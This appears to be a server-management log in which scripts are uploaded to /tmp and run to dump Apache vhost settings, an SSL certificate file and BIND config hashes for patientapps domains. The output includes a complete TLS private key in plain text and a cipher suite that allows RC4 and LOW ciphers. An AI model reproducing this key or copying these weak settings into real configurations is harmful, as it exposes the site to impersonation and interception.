         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-09 12:36:01: 

PUT: /tmp/pkp816492

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_shop_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 12:36:01: 

chmod 755 /tmp/pkp816492; /tmp/pkp816492; rm /tmp/pkp816492

2026-02-09 12:36:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf	1360

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>







2026-02-09 12:36:01: 

PUT: /tmp/pkp231504

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 12:36:01: 

chmod 755 /tmp/pkp231504; /tmp/pkp231504; rm /tmp/pkp231504

2026-02-09 12:36:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99	5357
ab:09:8e:23:49:1a:cd:7b:a0:50:bb:ac:23:51:c8:ea

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBZVmLJI9uJDYTuhOteR1ItIsMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjA5MTEzNzI5WhcNMjYwNTEwMTEzNzI4WjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAvbVh8QP0Yd/oAiF8b6NlkxP7JaiAcFmdL18Ci/UBFvFFm/kToH958h2U
55lvA9ramgtK6dH/qLhqyhuFlBbrSFmLkt+T3a8gkcL4WcjFdjhRBtKtpo9xNo9d
YVs3tLB1D8GgkbeVmv13HzAvyyIyGsp2+soYaG1nlaFWeviKbbbRDWs9JgO1INGv
GJks3GgUuCsVnf+PQdqcbmiX6crfAqR+PKIet4fdH1NFsKyZ65p71+53HNfRsvf6
0VI8sG0R+05IbenNlEhumymcCUSZ3XwgHHJsdJ6/u46gnBe6nzLwYwhJKvZsC/2Q
0m9ve51tzKztkit2Jf0KoO+wklYkPwIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSnijwvn5UDizis6f+zFpzz7gpGejAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Nob3AucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy80NS5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHx
AO8AdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZxCZsycAAAE
AwBHMEUCIQD3c3d5rKvhBTy88hNnuj8a0t1k1OYOkmJBkioeXvIMtAIgUpZd9W5y
3vtbNspbpXbexoSI1Xst6PszIQd16dXjn6IAdQDRbqmlaAd+ZjWgPzel3bwDpTxB
EhTUiBj16TGzI8uVBAAAAZxCZs14AAAEAwBGMEQCIBxo72ZkYAIXwS9tShEyUzup
08zjNgWEAgDV17ETnmO4AiA0bauOj+JeBGgKNsak8CuvaaFBTEKofXSfhRaotUDT
GDANBgkqhkiG9w0BAQsFAAOCAQEAc7Yen5RzKIoycS+UcJGeEqDzPOh6y/sfZVV+
WZE1A7G+n8CqC7tG44maDiLWG4mSaiRma0Vfp+ItcH8IsxQg0gqA4t7mz1lnrOqR
98U5hi2DfQDreU77kzZ2k8cPGFXIVmGGqky7yx65K3DaB/LlGWg7Rm8qLM+mjH6J
7uUkG0hhrqU2Go2dk8x7hswaNyij6fBPMoDueOD03ZrmAGpdZHxJrZtU1cZ8MZTf
j5E3J/f1XPwIBxSsF4LAGcb2fmbMPQTXGOHB9CERcpYN33c/466C0e2Eu9n7DLny
TeKJEY/CGIX7SdBqv0nGUdKV3y0lf9OE8+9/aMUa3zGFaJXUBA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9tWHxA/Rh3+gC
IXxvo2WTE/slqIBwWZ0vXwKL9QEW8UWb+ROgf3nyHZTnmW8D2tqaC0rp0f+ouGrK
G4WUFutIWYuS35PdryCRwvhZyMV2OFEG0q2mj3E2j11hWze0sHUPwaCRt5Wa/Xcf
MC/LIjIaynb6yhhobWeVoVZ6+IptttENaz0mA7Ug0a8YmSzcaBS4KxWd/49B2pxu
aJfpyt8CpH48oh63h90fU0WwrJnrmnvX7ncc19Gy9/rRUjywbRH7Tkht6c2USG6b
KZwJRJndfCAccmx0nr+7jqCcF7qfMvBjCEkq9mwL/ZDSb297nW3MrO2SK3Yl/Qqg
77CSViQ/AgMBAAECggEAKPilgHIEM6cx6lPlFg9J/qvQD+AGbT1Nb0+rsyJk69mL
2RXAIWempJ2y7Rn8Ge8IS0CpGzqZZoz9s0yiWstgYS3FsSDMRJJwDEr5bBqqWs/q
3/hcPJ66KrhnyID01PdPMOn2jcICc4jOU1QK3moyPAsCC0PeZZ9LQcuoa8KF0w/K
2hdDFWx5IHnjuWQxQLT8MrKkG1GdtSL+O3GRUkGNYMpRhJtASsZK1O4iEGT26pcD
7tfepqjWd2J1yCWO3X4nf/CY8CRygdOVTGt9173IcyHh6wtkN/wRwjt05Yn8/LiV
bubXtZkFZbEvXtXGqJaZgLgZ7nOQaxA8XBJf5mS6UQKBgQD3yrToXKNHTdYQMy6k
t7cXRGzq0XIC0YRA5XaMbmEnqFVBuJZA8yWNAbPsxepASTUSmftda8lbXuBmwWBj
1ndbU8LDVBHOplVbUH73IH51CUjaQI0Sas19RWbI4BnuOblzhJ3bTFkiLzZNDLmU
HKD0k/55YTKGkbTcX8gHSQac0wKBgQDD/iALjxvxTDfYkdtYaggdnbmhhXDYLCx6
47VeNs/pvH1spWJpy1reSq1dW1lHTWz/gmS7BBV+5chD0YVqrxyniEDOREAOJ1Gv
WBvcz60k/kOatI01zcOgeJfsjWJHaOH0QDAR+xseQqssw/1PDCBIndRsnvw2QD0x
wf3hoX2HZQKBgQCCE2wCKlcgIDEGEggjObmoQig24DnMVvXpJ0ujDnJ74fbXaDGf
6MPGkKVF3uNIWeW9XQ3CDcoG5/g+mLaj0jqXu5Ga/e/XHiPiqo/r5KfdgkE3KPml
OGGkqCD7xAB4uN6sUGqZayvDMSt9KPfmU1z+5w2H5EkksSpTIQidIm2RNwKBgGDr
1bsBnUbZczCFCJyTasoCip7ml2Q/jAuFedZKcszaqofEzYMVzizpbwwgtWi+UC2W
tOuK3HpxdXScM0cLq7bpeWrHc4nMRefZQYYTqUMG/jWOHdrCk4BSwoZ3cGdx5XNd
Hqh1rfZr76xmi2jAzWI7sqW4hW7qm5h0n3Ep5CLFAoGAFD0vc6q2PqNUWfGFXyKR
6XEpG136KmEDr1xUYCWrmtjVP/KfdLYX60x3ErblJtEsupFUA5EHyHvhue79NVaZ
Bn5gV+tfnWv4B7N3ywN+QmbCotEPiTksLisih0Re5n/egZR3M1clDrbPhYSkvEUf
jtos58AOw/PwiAf2JK2PRjc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-09 13:05:22: Establishing a connection
2026-02-09 13:05:23: 

PUT: /tmp/pkp871855

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:05:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp871855; rm /tmp/pkp871855'

2026-02-09 13:05:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
